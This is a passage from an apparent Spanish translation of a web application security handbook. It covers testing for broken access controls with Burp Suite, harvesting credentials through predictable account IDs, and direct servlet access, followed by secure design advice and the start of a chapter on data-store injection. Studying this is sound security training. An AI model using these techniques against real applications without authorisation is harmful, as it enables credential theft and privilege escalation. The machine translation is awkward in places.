cuando se selecciona un elemento, las respuestas también se colorean para mostrar las
ubicaciones de esas ediciones dentro de las respuestas.
La interpretación de los resultados de la comparación del mapa del sitio requiere inteligencia
humana y una comprensión del significado y el contexto de las funciones específicas de la
aplicación . Por ejemplo, la Figura 8-1 muestra las respuestas que se devuelven a cada usuario
cuando ven su página de inicio. Las dos respuestas muestran una descripción diferente del
usuario que inició sesión y el usuario administrativo tiene un elemento de menú adicional. Estas
diferencias son de esperar y son neutrales en cuanto a la efectividad de los controles de acceso
de la aplicación, ya que se refieren únicamente a la interfaz de usuario.
Figura 8-1: Comparación de un mapa del sitio que muestra las diferencias entre el contenido al
que se accedió en diferentes contextos de usuario
La figura 8-2 muestra la respuesta devuelta cuando cada usuario solicita la página de
administración de nivel superior . Aquí, el usuario administrativo ve un menú de opciones
disponibles, mientras que el usuario normal ve un mensaje de "no autorizado". Estas
diferencias indican que los controles de acceso se están aplicando correctamente. La Figura
8-3 muestra la respuesta devuelta cuando cada usuario solicita la función de administración
"lista de usuarios". Aquí, las respuestas son idénticas, lo que indica que la aplicación es
vulnerable, ya que el usuario común no debería tener acceso a esta función y no tiene
ningún enlace a ella en su interfaz de usuario.
Simplemente explorar el árbol del mapa del sitio y observar la cantidad de diferencias
entre los elementos no es suficiente para evaluar la eficacia de los controles de acceso de
la aplicación. Dos respuestas idénticas pueden indicar una vulnerabilidad (por ejemplo, en
una función administrativa que divulga información confidencial) o pueden ser inofensivas
(por ejemplo, en una función de búsqueda sin protección). Por el contrario, dos respuestas
diferentes aún pueden significar que existe una vulnerabilidad (por ejemplo, en una función
administrativa que devuelve contenido diferente cada vez que se accede a ella) o puede ser
inofensiva (por ejemplo, en una página que muestra información de perfil sobre el usuario
registrado actualmente ). -en usuario). Por estas razones, las herramientas completamente
automatizadas generalmente no son efectivas para identificar vulnerabilidades de control de
acceso. Usando la funcionalidad de Burp para comparar mapas de sitios, puede automatizar
la mayor parte del proceso posible, brindándole toda la información que necesita en un
formulario listo y permitiéndole aplicar su conocimiento de la funcionalidad de la aplicación
para identificar cualquier vulnerabilidad real.
Figura 8-2: Al usuario con privilegios bajos se le niega el acceso a la página de administración de nivel superior
Figura 8-3: El usuario con privilegios bajos puede acceder a la función administrativa para enumerar los
usuarios de la aplicación
¡INTENTALO!
Prueba de procesos de varias etapas

El enfoque descrito en la sección anterior (comparar los contenidos de la
aplicación cuando se accede a ellos en diferentes contextos de usuario) es ineficaz.
al probar algunos procesos de varias etapas. Aquí, para realizar una acción, el
usuario generalmente debe realizar varias solicitudes en la secuencia correcta, y
la aplicación genera algún estado sobre las acciones del usuario a medida que lo hace.
Simplemente volver a solicitar cada uno de los elementos en un mapa del sitio puede no
replicar el proceso correctamente, por lo que la acción intentada puede fallar por razones
distintas al uso de controles de acceso.
Por ejemplo, considere una función administrativa para agregar un nuevo usuario de la
aplicación. Esto puede implicar varios pasos, incluida la carga del formulario para agregar un
usuario, enviar el formulario con los detalles del nuevo usuario, revisar estos detalles y
confirmar la acción. En algunos casos, la aplicación puede proteger el acceso al formulario
inicial pero no proteger la página que maneja el envío del formulario o la página de
confirmación. El proceso general puede involucrar numerosas solicitudes, incluidas las
redirecciones, con parámetros enviados en etapas anteriores que se retransmiten más tarde
a través del lado del cliente. Cada paso de este proceso debe probarse individualmente para
confi rmar si los controles de acceso se aplican correctamente.
¡INTENTALO!
PASOS DE HACK
1. Cuando una acción se lleva a cabo en varios pasos, involucrando varias solicitudes
diferentes del cliente al servidor, pruebe cada solicitud individualmente para determinar
si se le han aplicado controles de acceso. Asegúrese de incluir todas las solicitudes,
incluidos los envíos de formularios, el seguimiento de redirecciones y cualquier solicitud
no parametrizada.
2. Trate de encontrar ubicaciones en las que la aplicación asuma efectivamente que si ha

llegado a un punto en particular, debe haberlo hecho por medios legítimos. Intente
llegar a ese punto de otras maneras usando una cuenta con menos privilegios para
detectar si es posible algún ataque de escalada de privilegios.
Continuado
PASOS DEL HACK (CONTINUACIÓN)
3. Una forma de realizar esta prueba manualmente es recorrer un proceso protegido de varias
etapas varias veces en su navegador y usar su proxy para cambiar el token de sesión
proporcionado en diferentes solicitudes por el de un usuario con menos privilegios.
4. A menudo, puede acelerar drásticamente este proceso utilizando la función de "solicitud en el

navegador" de Burp Suite: a. Utilice la cuenta con más privilegios para recorrer todo el
proceso de varias etapas.
b. Inicie sesión en la aplicación utilizando la cuenta con menos privilegios (o ninguna).

en absoluto).
C. En el historial de Burp Proxy, encuentre la secuencia de solicitudes que se

realizaron cuando el proceso de varias etapas se realizó como un usuario con más
privilegios. Para cada solicitud en la secuencia, seleccione el elemento del menú
contextual "solicitud en el navegador en la sesión actual del navegador", como se
muestra en la Figura 8-4. Pegue la URL proporcionada en su navegador que ha iniciado
sesión como usuario con menos privilegios. d. Si la aplicación se lo permite, siga el
resto del proceso de varias etapas de la forma habitual, utilizando su navegador. mi. Vea
el resultado tanto en el navegador como en el historial del proxy para
determinar si realizó con éxito la acción privilegiada.
Figura 8-4: Uso de Burp para solicitar un elemento determinado dentro de la sesión actual del navegador
Cuando selecciona la función "solicitud en el navegador en la sesión actual del

navegador" de Burp para una solicitud específica, Burp le brinda una URL única dirigida al
servidor web interno de Burp, que usted pega en la barra de direcciones de su navegador.
Cuando su navegador solicita esta URL, Burp devuelve una redirección a la URL
especificada originalmente. Cuando su navegador sigue la redirección, Burp reemplaza la
solicitud con la que especificó originalmente, mientras deja intacto el encabezado de la
Cookie . Si está probando diferentes contextos de usuario, puede acelerar este proceso.
Inicie sesión en varios navegadores diferentes como usuarios diferentes y pegue la URL en
cada navegador para ver cómo se maneja la solicitud para el usuario que inició sesión con
ese navegador. (Tenga en cuenta que debido a que las cookies generalmente se comparten
entre diferentes ventanas del mismo navegador, normalmente necesitará usar diferentes
productos de navegador, o navegadores en diferentes máquinas, para realizar esta prueba).
SUGERENCIA Cuando está probando procesos de varias etapas en diferentes contextos

de usuario, a veces es útil revisar las secuencias de solicitudes que realizan diferentes
usuarios en paralelo para identificar diferencias sutiles que pueden merecer una mayor
investigación.
Si está utilizando navegadores separados para acceder a la aplicación como usuarios
diferentes, puede crear un agente de escucha diferente en Burp para que lo use cada
navegador (necesita actualizar su configuración de proxy en cada navegador para señalar
al agente de escucha relevante). Luego, para cada navegador, use el menú contextual en
el historial de proxy para abrir una nueva ventana de historial y configure un filtro de
visualización para mostrar solo las solicitudes del oyente de proxy relevante.
Pruebas con acceso limitado

Si solo tiene una cuenta de nivel de usuario con la que acceder a la aplicación (o ninguna),
se debe realizar un trabajo adicional para probar la eficacia de los controles de acceso. De
hecho, para realizar una prueba completa, se necesita hacer más trabajo en cualquier caso.
Puede existir una funcionalidad mal protegida que no esté vinculada explícitamente desde
la interfaz de cualquier usuario de la aplicación. Por ejemplo, quizás aún no se eliminó la
funcionalidad anterior o se implementó una funcionalidad nueva, pero aún no se ha
publicado para los usuarios.
PASOS DE HACK
1. Use las técnicas de descubrimiento de contenido descritas en el Capítulo 4 para

identificar la mayor cantidad posible de funcionalidad de la aplicación. Realizar
este ejercicio como un usuario con pocos privilegios suele ser suficiente para
enumerar y obtener acceso directo a la funcionalidad confidencial.
Continuado
2. Cuando se identifiquen páginas de aplicaciones que probablemente presenten

diferentes funciones o enlaces a usuarios comunes y administrativos (por
ejemplo, Panel de control o Mi página de inicio), intente agregar parámetros como
admin=true a la cadena de consulta de URL y al cuerpo. de solicitudes POST.
Esto lo ayudará a determinar si esto descubre o da acceso a alguna funcionalidad
adicional a la que su contexto de usuario tiene acceso normal.
3. Pruebe si la aplicación utiliza el encabezado Referer como base para tomar decisiones
de control de acceso. Para las funciones clave de la aplicación a las que está
autorizado a acceder, intente eliminar o modificar el encabezado Referer y determine
si su solicitud sigue siendo exitosa. De lo contrario, es posible que la aplicación confíe
en el encabezado Referer de forma no segura. Si escanea solicitudes con el escáner
activo de Burp, Burp intenta eliminar el encabezado de referencia de cada solicitud y
le informa si esto parece marcar una diferencia sistemática y relevante en la respuesta
de la aplicación.
4. Revise todos los scripts y HTML del lado del cliente para encontrar referencias a
funcionalidad o funcionalidad que se puede manipular en el lado del cliente, como las
interfaces de usuario basadas en secuencias de comandos. Además, descompile todos los
componentes de la extensión del navegador como se describe en el Capítulo 5 para descubrir
cualquier referencia a la funcionalidad del lado del servidor.
¡INTENTALO!
Cuando se haya enumerado toda la funcionalidad accesible, debe probar

si la segregación de acceso a los recursos por usuario se aplica correctamente.
En todos los casos en que la aplicación otorga a los usuarios acceso a un subconjunto de
una gama más amplia de recursos del mismo tipo (como documentos, pedidos, correos
electrónicos y datos personales), puede haber oportunidades para que un usuario obtenga
acceso no autorizado a otros recursos.
PASOS DE HACK
1. Cuando la aplicación utilice identificadores de cualquier tipo (ID de documentos, números

de cuenta, referencias de pedidos) para especificar qué recurso solicita un usuario,
intente descubrir los identificadores de los recursos a los que no tiene acceso autorizado.
2. Si es posible generar una serie de tales identificadores en rápido éxito

(por ejemplo, mediante la creación de múltiples documentos u órdenes nuevos), use las
técnicas descritas en el Capítulo 7 para tokens de sesión para tratar de descubrir cualquier
secuencia predecible en los identificadores que produce la aplicación.
3. Si no es posible generar nuevos identificadores, está restringido a

analizando los identificadores que ya ha descubierto, o incluso utilizando simples conjeturas.
Si el identificador tiene la forma de un GUID, es poco probable que los intentos basados en
adivinanzas tengan éxito. Sin embargo, si es un número relativamente pequeño, pruebe con
otros números cercanos o números aleatorios con el mismo número de dígitos.
4. Si se descubre que los controles de acceso están rotos y los identificadores de recursos son
Si se encuentra que es predecible, puede montar un ataque automatizado para recolectar
recursos e información confidenciales de la aplicación. Utilice las técnicas descritas en el
Capítulo 14 para diseñar un ataque automatizado personalizado para recuperar los datos que
necesita.
Una vulnerabilidad catastrófica de este tipo ocurre cuando una información de cuenta
La página muestra los datos personales de un usuario junto con su nombre de usuario y
contraseña. Aunque la contraseña normalmente está enmascarada en la pantalla, no obstante se
transmite en su totalidad al navegador. Aquí, a menudo puede iterar rápidamente a través de la
gama completa de identificadores de cuenta para recopilar las credenciales de inicio de sesión de
todos los usuarios, incluidos los administradores. La Figura 8-5 muestra el uso de Burp Intruder para
llevar a cabo un ataque exitoso de este tipo.
Figura 8-5: Un ataque exitoso para recolectar nombres de usuario y contraseñas a través de
una vulnerabilidad de control de acceso
¡INTENTALO!
SUGERENCIA Cuando detecta una vulnerabilidad de control de acceso, un ataque

inmediato al que debe dar seguimiento es intentar escalar aún más sus privilegios
poniendo en peligro una cuenta de usuario que tiene privilegios administrativos.
Puede utilizar varios trucos para localizar una cuenta administrativa. Usando una falla
de control de acceso como la que se ilustra, puede recolectar cientos de credenciales
de usuario y no disfrutar la tarea de iniciar sesión manualmente como cada usuario
hasta que encuentre un administrador. Sin embargo, cuando las cuentas se identifican
mediante una identificación numérica secuencial, es común encontrar que los números
de cuenta más bajos se asignan a los administradores. Iniciar sesión como los
primeros usuarios que se registraron en la aplicación a menudo identifica a un
administrador. Si este enfoque falla, un método efectivo es encontrar una función
dentro de la aplicación donde el acceso esté apropiadamente segregado
horizontalmente, como la página de inicio principal que se presenta a cada usuario.
Escriba un script para iniciar sesión con cada conjunto de credenciales capturadas y
luego intente acceder a su propia página de inicio. Es probable que los usuarios
administrativos puedan ver la página de inicio de todos los usuarios, por lo que detectará de inmediato cuándo se e
Prueba de acceso directo a métodos

Cuando una aplicación utiliza solicitudes que dan acceso directo a los métodos API del
lado del servidor, cualquier debilidad de control de acceso dentro de esos métodos
normalmente se identifica utilizando la metodología ya descrita. Sin embargo, también
debe probar la existencia de API adicionales que pueden no estar debidamente protegidas.
Por ejemplo, se puede invocar un servlet mediante la siguiente solicitud:
POST /svc HTTP/1.1

Anfitrión: aplicación wahh
servlet=com.ibm.ws.webcontainer.httpsession.IBMTrackerDebug
Dado que este es un servlet muy conocido, tal vez pueda acceder a otros servlets
para realizar acciones no autorizadas.
PASOS DE HACK
1. Identifique cualquier parámetro que siga las convenciones de nomenclatura de Java (por ejemplo,
ple, get, set, add, update, is, or has seguido de una palabra en mayúscula), o especificar
explícitamente una estructura de paquete (por ejemplo, com.companyname .xxx.yyy.ClassName).
Tome nota de todos los métodos de referencia que pueda encontrar.
2. Busque un método que enumere las interfaces o métodos disponibles.

Revise su historial de proxy para ver si ha sido llamado como parte de la comunicación
normal de la aplicación. Si no, trate de adivinarlo usando la convención de nomenclatura
observada.
3. Consulte recursos públicos como motores de búsqueda y sitios de foros para disuadir
mine cualquier otro método que pueda ser accesible.
4. Use las técnicas descritas en el Capítulo 4 para adivinar otros nombres de métodos.
5. Intente acceder a todos los métodos recopilados utilizando una variedad de cuentas de usuario
tipos, incluido el acceso no autenticado.
6. Si no conoce la cantidad o los tipos de argumentos que esperan algunos métodos, busque
métodos que tengan menos probabilidades de aceptar argumentos, como listInterfaces y
getAllUsersInRoles.
Controles de prueba sobre recursos estáticos

En los casos en que los recursos estáticos que protege la aplicación finalmente se
acceden directamente a través de URL a los propios archivos de recursos, debe probar
si es posible que los usuarios no autorizados simplemente soliciten estas URL directamente.
PASOS DE HACK
1. Siga el proceso normal para obtener acceso a un recurso estático protegido para obtener
un ejemplo de la URL mediante la cual finalmente se recupera.
2. Usando un contexto de usuario diferente (por ejemplo, un usuario con menos privilegios o
una cuenta que no haya realizado una compra requerida), intente acceder al recurso
directamente usando la URL que identificó.
3. Si este ataque tiene éxito, intente comprender el esquema de nombres que se utiliza para
los archivos estáticos protegidos. Si es posible, construya un ataque automatizado para
rastrear contenido que pueda ser útil o que pueda contener datos confidenciales (consulte
el Capítulo 14).
Restricciones de prueba en métodos HTTP

Aunque es posible que no exista un medio listo para detectar si los controles de acceso
de una aplicación utilizan controles a nivel de plataforma sobre métodos HTTP, puede
seguir algunos pasos simples para identificar cualquier vulnerabilidad.
PASOS DE HACK
1. Usando una cuenta con muchos privilegios, identifique algunas solicitudes privilegiadas que
realizar acciones confidenciales, como agregar un nuevo usuario o cambiar el rol de
seguridad de un usuario.
2. Si estas solicitudes no están protegidas por ningún token anti-CSRF o similar

funciones (consulte el Capítulo 13), use la cuenta con privilegios altos para
determinar si la aplicación aún lleva a cabo la acción solicitada si se modifica el
método HTTP. Pruebe los siguientes métodos HTTP:
n POST
n OBTENER
n CABEZA
n Un método HTTP inválido arbitrario
3. Si la aplicación cumple con las solicitudes utilizando métodos HTTP diferentes al método
original, pruebe los controles de acceso sobre esas solicitudes utilizando la metodología
estándar ya descrita, utilizando cuentas con privilegios más bajos.
Controles de acceso seguros
Los controles de acceso son una de las áreas de seguridad de aplicaciones web más fáciles de
entender, aunque debe aplicar cuidadosamente una metodología exhaustiva y bien informada al
implementarlos.
Primero, debe evitar varias trampas obvias. Por lo general, surgen de la ignorancia sobre los
requisitos esenciales de un control de acceso efectivo o suposiciones erróneas sobre los tipos de
solicitudes que realizarán los usuarios y contra las cuales la aplicación debe defenderse:
n No confíe en la ignorancia de los usuarios sobre las URL de las aplicaciones o los identificadores
utilizados para especificar los recursos de la aplicación, como números de cuenta e ID de
documentos. Asuma que los usuarios conocen cada URL e identificador de la aplicación, y
asegúrese de que los controles de acceso de la aplicación por sí solos sean suficientes para
evitar el acceso no autorizado.
n No confíe en ningún parámetro enviado por el usuario para indicar derechos de acceso
( como admin=true). n No asuma que los usuarios accederán a las páginas de la
aplicación en la secuencia prevista. No asuma que debido a que los usuarios no pueden
acceder a la página Editar usuarios, no pueden acceder a la página Editar usuario X
que está vinculada desde ella. n No confíe en que el usuario no altere los datos que
se transmiten a través del cliente. Si algunos datos enviados por el usuario han sido
validados y luego se transmiten a través del cliente, no confíe en el valor retransmitido
sin revalidación.
Lo siguiente representa un enfoque de mejores prácticas para implementar controles de

acceso efectivos dentro de las aplicaciones web:
n Evaluar y documentar explícitamente los requisitos de control de acceso para cada unidad de
funcionalidad de la aplicación. Esto debe incluir tanto quién puede usar legítimamente la función
como a qué recursos pueden acceder los usuarios individuales a través de la función.
n Impulsar todas las decisiones de control de acceso desde la sesión del usuario.
n Utilice un componente de aplicación central para comprobar los controles

de acceso. n Procesar cada solicitud de cliente a través de este componente para validar
que el usuario que realiza la solicitud tiene permiso para acceder a la funcionalidad y
los recursos solicitados. n Utilizar técnicas programáticas para asegurar que no haya
excepciones al punto anterior. Un enfoque efectivo es exigir que cada página de la
aplicación implemente una interfaz consultada por el mecanismo de control de acceso
central. Si obliga a los desarrolladores a codificar explícitamente la lógica de control
de acceso en cada página, no puede haber excusa para las omisiones. n Para una
funcionalidad particularmente sensible, como las páginas administrativas, puede
restringir aún más el acceso por dirección IP para garantizar que solo los usuarios de un
rango de red específico puedan acceder a la funcionalidad, independientemente de
su estado de inicio de sesión.
n Si es necesario proteger el contenido estático, existen dos métodos para proporcionar control de
acceso. En primer lugar, se puede acceder indirectamente a los archivos estáticos pasando un
nombre de archivo a una página dinámica del lado del servidor que implementa la lógica de control
de acceso relevante. En segundo lugar, el acceso directo a los archivos estáticos se puede
controlar mediante la autenticación HTTP u otras funciones del servidor de aplicaciones para
envolver la solicitud entrante y verificar los permisos del recurso antes de otorgar el acceso. n Los
identificadores que especifican a qué recurso desea acceder un usuario son vulnerables a la
manipulación cada vez que se transmiten a través del cliente. El servidor
debe confiar solo en la integridad de los datos del lado del servidor. Cada vez que estos identi fi
cadores se transmiten a través del cliente, deben revalidarse para garantizar que el usuario esté
autorizado para acceder al recurso solicitado. n Para las funciones de aplicaciones críticas para la
seguridad, como la creación de un nuevo beneficiario de facturas en una aplicación bancaria, considere
implementar la reautenticación por transacción y la autorización dual para brindar una garantía
adicional de que la función no está siendo utilizada por una parte no autorizada. Esto también mitiga
las consecuencias de otros posibles ataques, como el secuestro de sesiones.
n Registre cada evento en el que se acceda a datos confidenciales o se realice una acción confidencial.
Estos registros permitirán detectar e investigar posibles infracciones de control de acceso.
Los desarrolladores de aplicaciones web a menudo implementan funciones de control de acceso poco a
poco. Agregan código a páginas individuales en los casos en que se requiere algún control de acceso y, a
menudo, cortan y pegan el mismo código entre páginas para implementar requisitos similares. Este enfoque
conlleva un riesgo inherente de defectos en el mecanismo de control de acceso resultante. Se pasan por alto
muchos casos en los que se requieren controles, los controles diseñados para un área pueden no funcionar de
la manera prevista en otra área, y las modificaciones realizadas en otras partes de la aplicación pueden romper
los controles existentes al violar las suposiciones hechas por ellos.
En contraste con este enfoque, el método descrito anteriormente de usar un

El componente central de la aplicación para hacer cumplir los controles de acceso tiene muchos beneficios:
n Aumenta la claridad de los controles de acceso dentro de la aplicación, lo que permite a diferentes
desarrolladores comprender rápidamente los controles implementados por otros.
n Hace que la mantenibilidad sea más eficiente y confiable. La mayoría de los cambios deben aplicarse
solo una vez, a un único componente compartido, y no es necesario cortarlos y pegarlos en varias
ubicaciones.
n Mejora la adaptabilidad. Cuando surjan nuevos requisitos de control de acceso, se pueden reflejar
fácilmente dentro de una API existente implementada por cada página de la aplicación.
n Resulta en menos errores y omisiones que si el código de control de acceso es

implementado poco a poco a lo largo de la aplicación.
Un modelo de privilegios de varias capas

Los problemas relacionados con el acceso se aplican no solo a la aplicación web en sí, sino también a los
otros niveles de infraestructura que se encuentran debajo de ella, en particular, el servidor de aplicaciones, la
base de datos y el sistema operativo. Adoptar un enfoque de defensa en profundidad para la seguridad implica
implementar controles de acceso en cada una de estas capas.
para crear varias capas de protección. Esto proporciona una mayor seguridad contra
las amenazas de acceso no autorizado, porque si un atacante logra comprometer las
defensas en una capa, el ataque aún puede ser bloqueado por las defensas en otra capa.
Además de implementar controles de acceso efectivos dentro de la propia aplicación
web, como ya se describió, un enfoque de varias capas se puede aplicar de varias maneras
a los componentes que subyacen a la aplicación:
n El servidor de aplicaciones se puede utilizar para controlar el acceso a rutas URL

completas en función de las funciones de usuario que se definen en el nivel del
servidor de aplicaciones. n La aplicación puede emplear una cuenta de base de datos
diferente al realizar las acciones de diferentes usuarios. Para los usuarios que solo
deben consultar datos (no actualizarlos), se debe usar una cuenta con privilegios de
solo lectura.
n Se puede implementar un control detallado sobre el acceso a las diferentes tablas de

la base de datos dentro de la propia base de datos, usando una tabla de privilegios.
n Las cuentas del sistema operativo utilizadas para ejecutar cada componente en la
infraestructura pueden restringirse a los privilegios menos poderosos que realmente
requiere el componente.
En una aplicación compleja y crítica para la seguridad, se pueden diseñar defensas en

capas de este tipo con la ayuda de una matriz que defina los diferentes roles de usuario
dentro de la aplicación y los diferentes privilegios, en cada nivel, que deben asignarse a cada
rol. La figura 8-6 es un ejemplo parcial de una matriz de privilegios para una aplicación
compleja.
Servidor de aplicaciones Funciones de aplicación Privilegios de la base de datos
Figura 8-6: Una matriz de privilegios para una aplicación compleja

Dentro de un modelo de seguridad de este tipo, se puede ver cómo varios accesos útiles
Los conceptos de control se pueden aplicar:
n Control programático: la matriz de privilegios de bases de datos individuales se almacena en una

tabla dentro de la base de datos y se aplica mediante programación para hacer cumplir las
decisiones de control de acceso. La clasificación de roles de usuario proporciona un atajo para
aplicar ciertas comprobaciones de control de acceso, y esto también se aplica mediante
programación. Los controles programáticos pueden ser extremadamente detallados y pueden
construir una lógica arbitrariamente compleja en el proceso de llevar a cabo decisiones de control
de acceso dentro de la aplicación. n Control de acceso discrecional (DAC): los administradores
pueden delegar sus privilegios a otros usuarios en relación con los recursos específi cos que poseen,
empleando el control de acceso discrecional. Este es un modelo DAC cerrado , en el que se niega
el acceso a menos que se otorgue explícitamente. Los administradores también pueden bloquear
o hacer caducar cuentas de usuarios individuales. Este es un modelo DAC abierto , en el que se
permite el acceso a menos que se retire explícitamente. Varios usuarios de la aplicación tienen
privilegios para crear cuentas de usuario, aplicando de nuevo un control de acceso discrecional. n
Control de acceso basado en funciones (RBAC): las funciones con nombre contienen diferentes
conjuntos de privilegios específi cos y cada usuario se asigna a una de estas funciones. Esto sirve
como atajo para asignar y hacer cumplir diferentes privilegios y es necesario para ayudar a
administrar el control de acceso en aplicaciones complejas. El uso de roles para realizar
verificaciones de acceso por adelantado en las solicitudes de los usuarios permite que muchas
solicitudes no autorizadas se rechacen rápidamente con una cantidad mínima de procesamiento
realizado. Un ejemplo de este enfoque es la protección de las rutas URL a las que pueden acceder
tipos específicos de usuarios.
Al diseñar mecanismos de control de acceso basados en roles, debe equilibrar la cantidad de roles
para que sigan siendo una herramienta útil para ayudar a administrar los privilegios dentro de la
aplicación. Si se crean demasiados roles detallados, la cantidad de roles diferentes se vuelve difícil
de manejar y es difícil administrarlos con precisión. Si se crean muy pocos roles, los roles resultantes
serán un instrumento tosco para administrar el acceso. Es probable que a los usuarios individuales
se les asignen privilegios que no son estrictamente necesarios para realizar su función.
Si se usan controles a nivel de plataforma para restringir el acceso a diferentes roles de aplicación
según el método HTTP y la URL, estos deben diseñarse usando un modelo de denegación
predeterminado, como es la mejor práctica para las reglas de firewall. Esto debe incluir varias reglas
específicas que asignan ciertos métodos HTTP y URL a ciertos roles, y la regla final debe rechazar
cualquier solicitud que no coincida con una regla anterior.
n Control declarativo: la aplicación utiliza cuentas de base de datos restringidas al acceder a la base
de datos. Emplea diferentes cuentas para diferentes grupos de usuarios, y cada cuenta tiene el
menor nivel de privilegio.
necesarios para llevar a cabo las acciones que ese grupo tiene permitido realizar.
Los controles declarativos de este tipo se declaran desde fuera de la aplicación .
Esta es una aplicación útil de los principios de defensa en profundidad, porque los
privilegios se imponen a la aplicación por un componente diferente. Incluso si un
usuario encuentra una manera de violar los controles de acceso implementados
dentro del nivel de la aplicación para realizar una acción confidencial, como agregar
un nuevo usuario, se le impide hacerlo. La cuenta de la base de datos que está
utilizando no tiene los privilegios necesarios dentro de la base de datos.
Existe un medio diferente de aplicar el control de acceso declarativo a nivel del
servidor de aplicaciones, a través de archivos descriptores de implementación, que
se aplican durante la implementación de la aplicación. Sin embargo, estos pueden ser
instrumentos relativamente toscos y no siempre escalan bien para administrar
privilegios detallados en una aplicación grande.
PASOS DE HACK
Si está atacando una aplicación que emplea un modelo de privilegios de varias capas de este tipo,
es probable que se defienda de muchos de los errores más obvios que se cometen comúnmente al
aplicar controles de acceso. Es posible que descubra que eludir los controles implementados dentro de la
aplicación no lo llevará muy lejos, debido a la protección implementada en otras capas. Con esto en mente,
varias posibles líneas de ataque aún están disponibles para usted. Lo más importante es que comprender
las limitaciones de cada tipo de control, en términos de la protección que no ofrece, lo ayudará a identificar
las vulnerabilidades que probablemente lo afecten:
n Las verificaciones programáticas dentro de la capa de aplicación pueden ser susceptibles a

Ataques basados en inyección.
n Los roles definidos en la capa del servidor de aplicaciones a menudo se definen de manera tosca
y puede estar incompleto.
n Donde los componentes de la aplicación se ejecutan utilizando un sistema operativo con privilegios bajos
cuentas tem, por lo general pueden leer muchos tipos de datos potencialmente confidenciales
dentro del sistema de archivos del host. Cualquier vulnerabilidad que conceda acceso arbitrario a
archivos puede seguir siendo útil, aunque solo sea para leer datos confidenciales.
n Las vulnerabilidades dentro del propio software del servidor de aplicaciones normalmente
le permiten anular todos los controles de acceso implementados dentro de la capa de
aplicación, pero aún puede tener acceso limitado a la base de datos y al sistema operativo.
n Una sola vulnerabilidad de control de acceso explotable en la ubicación correcta aún puede
proporcionar un punto de partida para una escalada de privilegios grave. Por ejemplo, si descubre
una forma de modificar el rol asociado con su cuenta, es posible que descubra que iniciar sesión
nuevamente con esa cuenta le brinda acceso mejorado tanto en la capa de la aplicación como en la
de la base de datos.
Resumen
Los defectos de control de acceso pueden manifestarse de varias maneras. En algunos casos,
pueden no ser interesantes y permitir el acceso ilegítimo a una función inofensiva que no se puede
aprovechar para escalar más los privilegios. En otros casos, encontrar una debilidad en los
controles de acceso puede conducir rápidamente a un compromiso total de la aplicación.
Las fallas en el control de acceso pueden surgir de varias fuentes. Un diseño deficiente de la
aplicación puede dificultar o imposibilitar la verificación de accesos no autorizados, un simple
descuido puede dejar solo una o dos funciones sin protección, o suposiciones defectuosas sobre
cómo se comportarán los usuarios pueden dejar la aplicación indefensa cuando se violan esas
suposiciones.
En muchos casos, encontrar una ruptura en los controles de acceso es casi trivial. Simplemente
solicita una URL administrativa común y obtiene acceso directo a la funcionalidad . En otros casos,
puede ser muy difícil y los defectos sutiles pueden acechar profundamente dentro de la lógica de
la aplicación, particularmente en aplicaciones complejas de alta seguridad. La lección más
importante al atacar los controles de acceso es buscar en todas partes. Si tiene dificultades para
progresar, sea paciente y pruebe cada paso de cada función de la aplicación. Un error que le
permite tener la aplicación completa puede estar a la vuelta de la esquina.
Preguntas
1. Una aplicación puede usar el encabezado HTTP Referer para controlar el acceso sin
ninguna indicación manifiesta de esto en su comportamiento normal. ¿Cómo puedes probar para
esta debilidad?
2. Inicia sesión en una aplicación y es redirigido a la siguiente URL:
https://wahh-app.com/MyAccount.php?uid=1241126841
La aplicación parece estar pasando un identificador de usuario a la página MyAccount.php .

El único identificador que conoce es el suyo propio. ¿Cómo puede probar si la aplicación
está utilizando este parámetro para aplicar controles de acceso de forma no segura?
3. Una aplicación web en Internet impone controles de acceso al examinar las direcciones IP de
origen de los usuarios. ¿Por qué este comportamiento es potencialmente defectuoso?
4. El único propósito de una aplicación es proporcionar un repositorio de

búsqueda de información para uso de los miembros del público. No existen
mecanismos de autenticación o manejo de sesiones. ¿Qué controles de
acceso se deben implementar dentro de la aplicación?
5. Al explorar una aplicación, encuentra varios recursos confidenciales que
deben protegerse contra el acceso no autorizado y que tienen la extensión
de archivo .xls . ¿Por qué deberían llamar inmediatamente su atención?
CAPÍTULO R
Atacar almacenes de datos
Casi todas las aplicaciones dependen de un almacén de datos para administrar los datos que se
procesan dentro de la aplicación. En muchos casos, estos datos impulsan la lógica principal de la
aplicación, manteniendo las cuentas de usuario, los permisos, los ajustes de configuración de la aplicación y más.
Los almacenes de datos han evolucionado para convertirse en mucho más que contenedores pasivos
de datos. La mayoría contiene datos en un formato estructurado, al que se accede mediante un
formato de consulta o lenguaje predefinido , y contiene lógica interna para ayudar a administrar esos datos.
Por lo general, las aplicaciones usan un nivel de privilegio común para todos los tipos de acceso al
almacén de datos y cuando procesan datos que pertenecen a diferentes usuarios de la aplicación. Si
un atacante puede interferir con la interacción de la aplicación con el almacén de datos, para que
recupere o modifique diferentes datos, normalmente puede eludir cualquier control sobre el acceso a
los datos que se impone en la capa de la aplicación.
El principio que se acaba de describir se puede aplicar a cualquier tipo de tecnología de
almacenamiento de datos . Debido a que este es un manual práctico, nos centraremos en el
conocimiento y las técnicas que necesita para explotar las vulnerabilidades que existen en las
aplicaciones del mundo real. Con mucho, los almacenes de datos más comunes son las bases de
datos SQL, los repositorios basados en XML y los directorios LDAP. También se cubren ejemplos
prácticos vistos en otros lugares .
Al cubrir estos ejemplos clave, describiremos los pasos prácticos que puede seguir para identificar
y explotar estos defectos. Hay una sinergia conceptual en el proceso de comprensión de cada nuevo
tipo de inyección. Habiendo captado los elementos esenciales de la explotación de estas
manifestaciones de la falla, debe estar seguro de que puede recurrir a esta comprensión cuando se
encuentre con una nueva categoría.
287
288 Capítulo 9 n Atacar almacenes de datos
de inyección De hecho, debería poder idear medios adicionales para atacar

aquellos que otros ya han estudiado.
Inyectar en contextos interpretados

Un lenguaje interpretado es aquel cuya ejecución implica un componente de tiempo de ejecución
que interpreta el código del lenguaje y lleva a cabo las instrucciones que contiene.
Por el contrario, un lenguaje compilado es aquel cuyo código se convierte en instrucciones de
máquina en el momento de la generación. En tiempo de ejecución, estas instrucciones son
ejecutadas directamente por el procesador de la computadora que las ejecuta.
En principio, cualquier lenguaje puede implementarse utilizando un intérprete
o un compilador, y la distinción no es una propiedad inherente del lenguaje en sí.
Sin embargo, la mayoría de los lenguajes normalmente se implementan solo de una de estas
dos formas, y muchos de los lenguajes centrales utilizados para desarrollar aplicaciones web
se implementan mediante un intérprete, incluidos SQL, LDAP, Perl y PHP.
Debido a cómo se ejecutan los lenguajes interpretados, surge una familia de vulnerabilidades
